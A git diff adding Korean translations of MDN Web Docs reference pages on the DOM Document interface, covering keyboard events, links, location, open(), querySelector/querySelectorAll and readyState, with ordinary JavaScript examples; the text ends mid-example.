현재 툴팁의 대상이되는 노드를 반환합니다.
+
+ +

Mozilla 는 또한 일부 비표준 메소드를 정의합니다.

+ +
+
{{domxref("document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}
+
이 메소드는 아무것도 하지 않았지만 항상 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.
+
{{domxref("document.getBoxObjectFor")}} {{obsolete_inline}}
+
{{domxref("Element.getBoundingClientRect()")}} 메소드를 대신 사용하세요.
+
{{domxref("document.loadOverlay")}}
+
XUL 오버레이를 동적으로 로드합니다. XUL 다큐먼트에서만 동작합니다.
+
{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}
+
이 메소드는 아무것도 하지 않았지만 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.
+
+ +

Internet Explorer 노트

+ +

Microsoft는 일부 비표준 속성을 정의합니다.

+ +
+
{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}
+
Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See MSDN.
+
+ +

Internet Explorer는 Document 인터페이스내 Node 인터페이스의 모든 메소드를 지원하지 않습니다:

+ +
+
{{domxref("document.contains")}}
+
대안으로 document.body.contains() 를 사용할 수 있습니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName("DOM WHATWG", "#interface-document", "Document")}}{{Spec2("DOM WHATWG")}}DOM 3 대체 의도
{{SpecName("HTML WHATWG", "dom.html#the-document-object", "Document")}}{{Spec2("HTML WHATWG")}}{{domxref("HTMLDocument")}} 인터페이스를 Document 확장으로 전환.
{{SpecName("HTML Editing", "#dom-document-getselection", "Document")}}{{Spec2("HTML Editing")}}Document 인터페이스 확장
{{SpecName("CSSOM View", "#extensions-to-the-document-interface", "Document")}}{{Spec2("CSSOM View")}}Document 인터페이스 확장
{{SpecName("CSSOM", "#extensions-to-the-document-interface", "Document")}}{{Spec2("CSSOM")}}Document 인터페이스 확장
{{SpecName("Pointer Lock", "#extensions-to-the-document-interface", "Document")}}{{Spec2("Pointer Lock")}}Document 인터페이스 확장
{{SpecName("Page Visibility API", "#extensions-to-the-document-interface", "Document")}}{{Spec2("Page Visibility API")}}visibilityStatehidden 속성과 onvisibilitychange 이벤트 리스너를 갖도록 Document 인터페이스 확장.
{{SpecName("Selection API", "#extensions-to-document-interface", "Document")}}{{Spec2("Selection API")}}getSelection(), onselectstartonselectionchange 추가.
{{SpecName("DOM4", "#interface-document", "Document")}}{{Spec2("DOM4")}}DOM 3 대체
{{SpecName("DOM3 Core", "#i-Document", "Document")}}{{Spec2("DOM3 Core")}}DOM 2 대체
{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator", "XPathEvaluator")}}{{Spec2("DOM3 XPath")}}다큐먼트를 확장하는 {{domxref("XPathEvaluator")}} 인터페이스 정의.
{{SpecName("DOM2 Core", "#i-Document", "Document")}}{{Spec2("DOM2 Core")}}DOM 1 대체
{{SpecName("DOM1", "#i-Document", "Document")}}{{Spec2("DOM1")}}인터페이스 초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document")}}

diff --git a/files/ko/web/api/document/keydown_event/index.html b/files/ko/web/api/document/keydown_event/index.html new file mode 100644 index 0000000000..4d841c084b --- /dev/null +++ b/files/ko/web/api/document/keydown_event/index.html @@ -0,0 +1,153 @@ +--- +title: keydown +slug: Web/API/Document/keydown_event +translation_of: Web/API/Document/keydown_event +--- +

keydown 이벤트늘 키가 눌렸을 때 발생합니다.

+ +

General info

+ +
+
Specification
+
DOM L3
+
Interface
+
KeyboardEvent
+
Bubbles
+
Yes
+
Cancelable
+
Yes
+
Target
+
Document, Element
+
Default Action
+
Varies: keypress event; launch text composition system; blur and focus events; DOMActivate event; other event
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not?
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
target {{readonlyInline}}EventTarget (DOM element)Focused element processing the key event, root element if no suitable input element focused.
char {{readonlyInline}}DOMString (string)The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See key names and char values for the detail. +
Note: If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.
+
key {{readonlyInline}}DOMString (string)The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the char attribute. Otherwise, it's one of the key value strings specified in {{ anch("Key values") }}. If the key can't be identified, this is the string "Unidentified". See key names and char values for the detail. Read Only.
charCode {{readonlyInline}}Unsigned long (int)The Unicode reference number of the key; this attribute is used only by the keypress event. For keys whose char attribute contains multiple characters, this is the Unicode value of the first character in that attribute. +
Warning: This attribute is deprecated; you should use char instead, if available.
+
keyCode {{readonlyInline}}Unsigned long (int)A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0. +
Warning: This attribute is deprecated; you should use key instead, if available.
+
which {{readonlyInline}}Unsigned long (int)A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as keyCode. +
Warning: This attribute is deprecated; you should use key instead, if available.
+
location {{readonlyInline}}long (float)The location of the key on the device.
repeat {{readonlyInline}}booleantrue if a key has been depressed long enough to trigger key repetition, otherwise false.
locale {{readonlyInline}}stringThe language code for the key event, if available; otherwise, the empty string.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

preventDefault() of keydown event

+ +

Starting with Gecko 25, a call of preventDefault() of keydown event prevents to dispatch following keypress event. This is valid behavior for D3E spec and the other major web browsers behave so. On the other hand, Gecko 24 or earlier dispatched keypress event even if preventDefault() of preceding keydown event is called. Although the keypress event's defaultPrevented attribute was true in this case.

+ + + + diff --git a/files/ko/web/api/document/keyup_event/index.html b/files/ko/web/api/document/keyup_event/index.html new file mode 100644 index 0000000000..766928b715 --- /dev/null +++ b/files/ko/web/api/document/keyup_event/index.html @@ -0,0 +1,99 @@ +--- +title: 'Document: keyup event' +slug: Web/API/Document/keyup_event +translation_of: Web/API/Document/keyup_event +--- +
{{APIRef}}
+ +

keyup키를 놓을 때 이벤트가 발생합니다.

+ + + + + + + + + + + + + + + + + + + + +
거품
취소 가능
상호 작용{{domxref ( "KeyboardEvent")}}
이벤트 핸들러 속성{{domxref ( "GlobalEventHandlers.onkeyup", "onkeyup")}}
+ +

{{domxref ( "Document / keydown_event", "keydown")}} 및 keyup이벤트는 어떤 키를 눌렀는지 나타내는 코드를 제공하고 {{domxref ( "Document / keypress_event", "keypress")}} 는 입력 문자를 나타냅니다. . 예를 들어, 소문자 "a"는 keydownkeyup에서는 65로보고 되지만에서는 97 로보고 됩니다 keypress. 모든 이벤트에서 대문자 "A"는 65로보고됩니다.

+ +
+

참고 : 입력 값의 변경에 대응하는 방법을 찾고 있다면 inputevent를 사용해야합니다 . keyup예를 들어 컨텍스트 메뉴의 텍스트를 텍스트 입력에 붙여 넣는 등의 일부 변경 사항은에서 감지 할 수 없습니다 .

+
+ +

Firefox 65부터 keyupCJKT 사용자의 브라우저 간 호환성을 개선하기 위해 {{domxref ( "Document / keydown_event", "keydown")}} 및 이벤트가 이제 IME 작성 중에 실행됩니다 ({{bug (354358)}}, 자세한 내용 은 IME 작성 중에 keydown 및 keyup 이벤트가 시작 됩니다. 작성의 keyup일부인 모든 이벤트 를 무시하려면 다음과 같이 수행하십시오 (229는 keyCodeIME에 의해 처리 된 이벤트 관련에 대한 특수 값 세트입니다 ).

+ +
eventTarget.addEventListener ( "keyup", event => { 
+  if (event.isComposing || event.keyCode === 229) { 
+    return; 
+  } 
+  // 무언가를합니다 
+});
+
+ +

+ +

이 예에서는 키를 놓을 때마다 {{domxref ( "KeyboardEvent.code")}} 값을 기록합니다.

+ +

addEventListener 키업 예제

+ +
<p> 먼저 IFrame에 초점을 맞춘 다음 (예 : 클릭하여) 몇 가지 키를 눌러보십시오. </ p> 
+<p id = "log"> </ p>
+ +
const log = document.getElementById ( 'log'); 
+
+document.addEventListener ( 'keyup', logKey); 
+
+function logKey (e) { 
+  log.textContent + =`$ {e.code}`; 
+}
+ +

{{EmbedLiveSample ( "addEventListener_keyup_example")}}

+ +

onkeyup 해당

+ +
document.onkeyup = logKey;
+ +

명세서

+ + + + + + + + + + + + + + +
사양상태
{{SpecName ( "UI 이벤트", "# event-type-keyup")}}{{Spec2 ( "UI 이벤트")}}
+ +

브라우저 호환성

+ + + +

{{Compat ( "api.Document.keyup_event")}}

+ +

또한보십시오

+ + diff --git a/files/ko/web/api/document/links/index.html b/files/ko/web/api/document/links/index.html new file mode 100644 index 0000000000..4087ef0c0e --- /dev/null +++ b/files/ko/web/api/document/links/index.html @@ -0,0 +1,102 @@ +--- +title: Document.links +slug: Web/API/Document/links +tags: + - Document + - Links + - a + - area + - href +translation_of: Web/API/Document/links +--- +

{{ APIRef("DOM") }}

+ +

links 속성은 document 내에서 href attribute 를 가지는 모든 {{HTMLElement("area")}} 과 {{HTMLElement("a")}} element 들의 collection 을 반환한다.

+ +

Syntax

+ +
nodeList = document.links
+
+ +

Example

+ +
var links = document.links;
+for(var i = 0; i < links.length; i++) {
+  var linkHref = document.createTextNode(links[i].href);
+  var lineBreak = document.createElement("br");
+  document.body.appendChild(linkHref);
+  document.body.appendChild(lineBreak);
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}{{ Spec2('HTML WHATWG') }} 
{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}{{Spec2("DOM2 HTML")}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
diff --git a/files/ko/web/api/document/location/index.html b/files/ko/web/api/document/location/index.html new file mode 100644 index 0000000000..96c514e4b9 --- /dev/null +++ b/files/ko/web/api/document/location/index.html @@ -0,0 +1,69 @@ +--- +title: Document.location +slug: Web/API/Document/location +tags: + - API + - Document + - HTML DOM + - Property + - Read-only + - Reference +translation_of: Web/API/Document/location +--- +

{{APIRef("DOM")}}

+ +

The Document.location read-only property returns a {{domxref("Location")}} object, which contains information about the URL of the document and provides methods for changing that URL and loading another URL.

+ +

Though Document.location is a read-only Location object, you can also assign a {{domxref("DOMString")}} to it. This means that you can work with document.location as if it were a string in most cases: document.location = 'http://www.example.com' is a synonym of document.location.href = 'http://www.example.com'.

+ +

To retrieve just the URL as a string, the read-only {{domxref("document.URL")}} property can also be used.

+ +

If the current document is not in a browsing context, the returned value is null.

+ +

Syntax

+ +
locationObj = document.location
+document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org'
+
+ +

Example

+ +
dump(document.location);
+// Prints a string like
+// "http://www.example.com/juicybits.html" to the console
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.location")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/open/index.html b/files/ko/web/api/document/open/index.html new file mode 100644 index 0000000000..e7e376fbb2 --- /dev/null +++ b/files/ko/web/api/document/open/index.html @@ -0,0 +1,106 @@ +--- +title: Document.open() +slug: Web/API/Document/open +translation_of: Web/API/Document/open +--- +
{{APIRef("DOM")}}
+ +

Document.open() 메소드는 문서를  {{domxref("Document.write", "쓰기", "", "1")}} 위해 문서를 열 수 있도록 제공한다.

+ +

이 메소드 호출 시 몇 가지 부작용이 발생한다. 예를 들면,

+ + + +

문법

+ +
document.open();
+
+ +

인자

+ +

없음.

+ +

Return value반환값

+ +

Document 객체 인스턴스.

+ +

예시

+ +

이 간단한 코드는 문서를 열면서, 원하는 내용을 작성하여 기존 HTML 문서 구조를 대체하고, 문서를 닫는 예제이다. 

+ +
document.open();
+document.write("<p>Hello world!</p>");
+document.write("<p>I am a fish</p>");
+document.write("<p>The number is 42</p>");
+document.close();
+
+ +

Notes

+ +

document.open() 메소드는 페이지를 불러온 후 {{domxref("document.write()")}} 메소드 호출 시 자동으로 호출된다.

+ +

Firefox 및 Internet Explorer 에서는 기존까지 모든 요소 뿐 만 아니라 자바스크립트 변수까지 제거했었다. 하지만 현재 그런 경우는 없다.document non-spec'ed parameters to document.open

+ +

Gecko 특정 참고사항

+ +

Starting with Gecko 1.9, this method is subject to the same same-origin policy as other properties, and does not work if doing so would change the document's origin.

+ +

Starting with Gecko 1.9.2, document.open() uses the principal of the document whose URI it uses, instead of fetching the principal off the stack. As a result, you can no longer call {{domxref("document.write()")}} into an untrusted document from chrome, even using wrappedJSObject. See Security check basics for more about principals.

+ +

document.open()의 인자 3개

+ +

잘 사용하지 않지만, document.open() 메소드는 3 개의 인자를 받을 수 있으며, 호출할 경우 {{domxref("Window.open()")}} 메소드와 동일하게 동작한다(Window.open() 메소드 참고).

+ +

다음 예제는 Github 웹 사이트를 새 창으로 열게 되며, opener 개체를 null로 설정한다.

+ +
document.open('https://www.github.com','', 'noopener=true')
+ +

document.open()의 인자 2개

+ +

브라우저에서는 2개의 인자를 가진 document.open() 또한 가지고 있으며, 아래와 같은 구조를 가진다.

+ +
document.open(type, replace)
+ +

Where type 인자는 문서를 작성할 MIME 형식을 정의하며(예: text/html), 현재 히스토리를 대체(예: "replace") 하는 새 문서 작성을 시작할 수 있다.

+ +

하지만 이런 호출은 더 이상 사용할 수 없으며, 예외 또한 발생하지 않는다.대신 인자가 없는 document.open() 메소드가 호출되는 효과를 지니며, 대신 브라우저 히스토리 대체는 그대로 작동한다.

+ +

규격

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-document-open", "document.open()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}{{Spec2("DOM2 HTML")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.open")}}

+ +

같이보기

+ + diff --git a/files/ko/web/api/document/queryselector/index.html b/files/ko/web/api/document/queryselector/index.html new file mode 100644 index 0000000000..cf3ead8baa --- /dev/null +++ b/files/ko/web/api/document/queryselector/index.html @@ -0,0 +1,130 @@ +--- +title: Document.querySelector() +slug: Web/API/Document/querySelector +tags: + - API + - CSS Selectors + - DOM + - DOM Elements + - Document + - Method + - Reference + - Selectors + - Web +translation_of: Web/API/Document/querySelector +--- +
{{ApiRef("DOM")}}
+ +

Document.querySelector()는 제공한 선택자 또는 선택자 뭉치와 일치하는 문서 내 첫 번째 {{domxref("Element")}}를 반환합니다. 일치하는 요소가 없으면 null을 반환합니다.

+ +
+

참고: 탐색은 깊이우선depth-first 전위pre-order순회로, 문서의 첫 번째 요소부터 시작해 자식 노드의 수를 기준으로 순회합니다.

+
+ +

구문

+ +
document.querySelector(selectors);
+
+ +

매개변수

+ +
+
selectors
+
하나 이상의 선택자를 포함한 {{domxref("DOMString")}}. 유효한 CSS 선택자여야만 하며 아닐 경우 SYNTAX_ERR 예외가 발생합니다. 선택자로 DOM 요소 선택하기 문서를 참고해 선택자와 선택자 작성 방법을 더 알아보세요.
+
+ +
+

참고: CSS 표준 구문이 포함하는 문자가 아닌 경우 역슬래시로 이스케이프해야 합니다. JavaScript 또한 역슬래시로 이스케이프를 하기 때문에 특히 주의를 기울여야 합니다. 자세한 내용은 {{anch("특수 문자 이스케이프")}} 항목을 참고하세요.

+
+ +

반환값

+ +

제공한 CSS 선택자를 만족하는 첫 번째 {{domxref("Element")}} 객체. 결과가 없다면 null.

+ +

선택자를 만족하는 모든 요소의 목록이 필요하다면 {{domxref("Document.querySelectorAll", "querySelectorAll()")}}을 대신 사용하세요.

+ +

예외

+ +
+
SYNTAX_ERR
+
selectors의 구문이 유효하지 않음.
+
+ +

참고

+ +

만약 selector가 ID 선택자인데, 해당 ID를 잘못 사용하여 문서 내에 여러 번 사용했으면 첫 번째로 그 ID를 사용한 요소를 반환합니다.

+ +

CSS 의사 요소는 선택자 API가 명시한 대로 어떠한 요소도 반환하지 않습니다.

+ +

특수 문자 이스케이프

+ +

CSS 구문을 따르지 않는, 예컨대 콜론이나 공백을 포함한 선택자나 ID를 사용해야 하면 반드시  백슬래시("\")를 사용해 해당 문자를 이스케이프해야 합니다. 백슬래시는 JavaScript의 이스케이프 문자이기 때문에, 백슬래시를 문자로 입력하려면 반드시 두 번 이스케이프해야 합니다. 한 번은 JavaScript 문자열에 필요하고, 또 다른 한 번은 querySelector()에 필요합니다.

+ +
<div id="foo\bar"></div>
+<div id="foo:bar"></div>
+
+<script>
+  console.log('#foo\bar')             // "#fooar" ('\b'는 백스페이스 컨트롤 문자)
+  document.querySelector('#foo\bar')  // 일치하는 요소 없음
+
+  console.log('#foo\\bar')            // "#foo\bar"
+  console.log('#foo\\\\bar')          // "#foo\\bar"
+  document.querySelector('#foo\\bar') // 첫 번째 <div>
+
+  document.querySelector('#foo:bar')   // 일치하는 요소 없음
+  document.querySelector('#foo\\:bar') // 두 번째 <div>
+</script>
+
+ +

예제

+ +

클래스를 만족하는 첫 번째 요소 검색

+ +

아래 예제는 문서에서 "myclass"라는 클래스를 사용하는 첫 번째 요소를 반환합니다.

+ +
var el = document.querySelector(".myclass");
+
+ +

좀 더 복잡한 선택자

+ +

아래 예제처럼 정말 강력한 선택자도 사용할 수 있습니다. 예제의 결과는 클래스가 "user-panel main"인 {{HTMLElement("div")}}(<div class="user-panel main">) 안의, 이름이 "login"인 {{HTMLElement("input")}} 중 첫 번째 요소입니다.

+ +
var el = document.querySelector("div.user-panel.main input[name=login]");
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 2")}} 
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}Initial definition
+ +

브라우저 호환성

+ + + +
{{Compat("api.Document.querySelector")}}
+ +

더 보기

+ + diff --git a/files/ko/web/api/document/queryselectorall/index.html b/files/ko/web/api/document/queryselectorall/index.html new file mode 100644 index 0000000000..2beb50a1cf --- /dev/null +++ b/files/ko/web/api/document/queryselectorall/index.html @@ -0,0 +1,180 @@ +--- +title: Document.querySelectorAll() +slug: Web/API/Document/querySelectorAll +tags: + - API + - CSS 셀렉터 + - DOM + - querySelectorAll + - 다큐먼트 + - 레퍼런스 + - 메소드 + - 셀렉터 + - 엘리먼트 셀렉팅 + - 엘리먼트 찾기 + - 엘리먼트 탐색 +translation_of: Web/API/Document/querySelectorAll +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} 메소드 querySelectorAll() 는 지정된 셀렉터 그룹에 일치하는 다큐먼트의 엘리먼트 리스트를 나타내는 정적(살아 있지 않은) {{domxref("NodeList")}} 를 반환합니다.

+ +
+

노트: 이 메소드는 {{domxref("ParentNode")}} 믹스인의 {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} 메소드를 기반으로 구현되었습니다.

+
+ +

구문

+ +
elementList = parentNode.querySelectorAll(selectors);
+
+ +

파라미터

+ +
+
selectors
+
매칭할 하나 이상의 셀렉터를 포함하는 {{domxref("DOMString")}}. 이 스트링은 반드시 유효한 CSS 셀렉터여야 합니다; 그렇지 않을 경우, SyntaxError 예외가 발생합니다. 엘리먼트 식별을 위한 셀렉터 사용의 자세한 내용은 셀렉터로 DOM 엘리먼트 찾기 문서를 확인하세요. 콤마를 사용해 분리하여 다중 셀렉터를 지정할수도 있습니다.
+
+ +
+

노트: 표준 CSS 구문이 아닌 문자들은 역슬래시를 사용해 이스케이프해야 합니다. 자바스크립트가 역슬래시 이스케이핑을 사용한 이후로,  그러한 문자들을 사용하는 문자열 리터럴을 작성할 때 특별히 신경써야 합니다.  자세한 내용은 이스케이프 표현을 확인하세요.

+
+ +

반환 값

+ +

지정한 셀렉터와 하나라도 일치하는 각 엘리먼트에 대한 하나의 {{domxref("Element")}} 를 포함하는 살아 있지 않은 {{domxref("NodeList")}}. 일치하는 것이 없는 경우에는 비어 있는 {{domxref("NodeList")}}.

+ +
+

노트: 지정한 selectors 가 CSS 가상 엘리먼트를 포함하면, 반환 리스트는 항상 비어있습니다.

+
+ +

예외

+ +
+
SyntaxError
+
지정한 selectors 문자열의 구문이 유효하지 않습니다.
+
+ +

예시

+ +

일치하는 리스트 얻기

+ +

다큐먼트에서 모든 {{HTMLElement("p")}} 엘리먼트의 {{domxref("NodeList")}} 를 얻으려면:

+ +
var matches = document.querySelectorAll("p");
+ +

이 예시는 다큐먼트 내의 클래스가 "note" 또는 "alert" 인 모든 {{HTMLElement("div")}} 엘리먼트의 목록을 반환합니다.

+ +
var matches = document.querySelectorAll("div.note, div.alert");
+
+ +

여기에서는, ID 가 "test" 인 컨테이너안에 위치하고 부모 엘리먼트가 {{domxref("div")}} 엘리먼트이며 클래스가 "highlighted" 인 <p> 엘리먼트의 리스트를 얻습니다.

+ +
var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted > p");
+ +

이 예시는 속성 셀렉터를 사용해 다큐먼트에서 "data-src" 속성을 포함하는 {{domxref("iframe")}} 엘리먼트의 리스트를 반환합니다:

+ +
var matches = document.querySelectorAll("iframe[data-src]");
+ +

여기에서는, ID 가 "userlist" 인 리스트 내에서 "data-active" 속성 값이 "1" 인 리스트 항목의 목록을 반환하는데 속성 셀렉터가 사용되었습니다:

+ +
var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");
+ +

일치 항목에 접근하기

+ +

일치하는 항목의 {{domxref("NodeList")}} 가 반환되면, 배열처럼 확인하실 수 있습니다. 배열이 비어있다면(length 프로퍼티가 0), 일치한 것을 발견하지 못한 것입니다.

+ +

다른 방법으로, 리스트의 컨텐츠에 접근하기위한 표준 배열 노테이션을 사용하실수도 있습니다. 다음과 같이 일반적인 모든 반복문을 사용하실 수 있습니다:

+ +
var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});
+ +

사용자 노트

+ +

querySelectorAll() 은 대부분의 일반적인 자바스크립트 DOM 라이브러리와 다르게 동작하여 예상치못한 결과를 가져올 수 있습니다.

+ +

HTML

+ +

세 번 중첩된 {{HTMLElement("div")}} 블록을 갖는 다음 HTML 을 고려해봅시다.

+ +
<div class="outer">
+  <div class="select">
+    <div class="inner">
+    </div>
+  </div>
+</div>
+ +

자바스크립트

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1 입니다. 0 이 아닙니다!
+
+ +

클래스 "select" 를 갖는 <div> 컨텍스트에서 ".outer .inner" 를 셀렉팅할 때, .outer 가 탐색을 수행하는 기본 엘리먼트(".select")의 자손이 아님에도 클래스 ".inner" 가 탐색됩니다. 기본적으로 querySelectorAll() 은 탐색 범위 내에서 셀렉터의 마지막 엘리먼트만을 검증합니다.

+ +

{{cssxref(":scope")}} 가상 클래스는 예상된 동작을하도록 하지만, 베이스 엘리먼트의 자손에 일치하는 셀렉터로만 제한됩니다:

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM WHATWG")}}표준
{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("Selectors API Level 2")}}변동 없음
{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM4")}}초기 정의
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}기존 정의
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Document.querySelectorAll")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/document/readystate/index.html b/files/ko/web/api/document/readystate/index.html new file mode 100644 index 0000000000..08384c6174 --- /dev/null +++ b/files/ko/web/api/document/readystate/index.html @@ -0,0 +1,125 @@ +--- +title: Document.readyState +slug: Web/API/Document/readyState +translation_of: Web/API/Document/readyState +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}
+ +

Document.readyState 속성을 통해  {{domxref("document")}}의 로딩 상태를 확인할 수 있다.

+ +

Document.readyState 속성 값이 바뀔 때 {{event("readystatechange")}} 이벤트가 {{domxref("document")}}에서 일어난다.

+ +

Syntax

+ +
var string = document.readyState;
+
+ +

Values

+ +

document의 readyState 상태는 아래 3가지가 될 수 있다.

+ +
+
loading
+
 {{domxref("document")}} 로딩 중.
+
interactive
+
문서의 로딩은 끝이 나고 해석 중 이지만  images, stylesheets, frames과 같은 하위 자원들은 로딩되고 있는 상태이다.
+
complete
+
문서와 모든 하위 자원들의 로드가 완료된 상태이다. 이 상태는 {{event("load")}}  이벤트가 발생되기 직전 상태이다.
+
+ +

Examples

+ +

Different states of readiness

+ +
switch (document.readyState) {
+  case "loading":
+    // The document is still loading.
+    break;
+  case "interactive":
+    // The document has finished loading. We can now access the DOM elements.
+    // But sub-resources such as images, stylesheets and frames are still loading.
+    var span = document.createElement("span");
+    span.textContent = "A <span> element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // The page is fully loaded.
+    console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+    break;
+}
+
+ +

readystatechange as an alternative to DOMContentLoaded event

+ +
// Alternative to DOMContentLoaded event
+document.onreadystatechange = function () {
+  if (document.readyState === 'interactive') {
+    initApplication();
+  }
+}
+
+ +

readystatechange as an alternative to load event

+ +
// Alternative to load event
+document.onreadystatechange = function () {
+  if (document.readyState === 'complete') {
+    initApplication();
+  }
+}
+ +

readystatechange as event listener to insert or modify the DOM before DOMContentLoaded

+ +
document.addEventListener('readystatechange', event => {
+  if (event.target.readyState === 'interactive') {
+    initLoader();
+  }
+  else if (event.target.readyState === 'complete') {
+    initApp();
+  }
+});
+
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML WHATWG')}}
{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5.1')}}
{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}{{Spec2('HTML5 W3C')}}Initial specification.
+ +

Browser compatibility

+ + + +
{{Compat("api.Document.readyState")}}
+ +

See also

+ + diff --git a/files/ko/web/api/document/readystatechange_event/index.html b/files/ko/web/api/document/readystatechange_event/index.html new file mode 100644 index 0000000000..3286bb4727 --- /dev/null +++ b/files/ko/web/api/document/readystatechange_event/index.html @@ -0,0 +1,139 @@ +--- +title: 'Document: readystatechange event' +slug: Web/API/Document/readystatechange_event +translation_of: Web/API/Document/readystatechange_event +--- +
{{APIRef}}
+ +

readystatechange 이벤트는 현재 페이지의 {{domxref("Document.readyState", "readyState")}}  속성값이 변할 때 발생한다.

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("Event")}}
Event handler propertyonreadystatechange
+ +

Examples

+ +

Live example

+ +

HTML

+ +
<div class="controls">
+  <button id="reload" type="button">Reload</button>
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () => {
+  log.textContent ='';
+  window.setTimeout(() => {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) => {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) => {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) => {
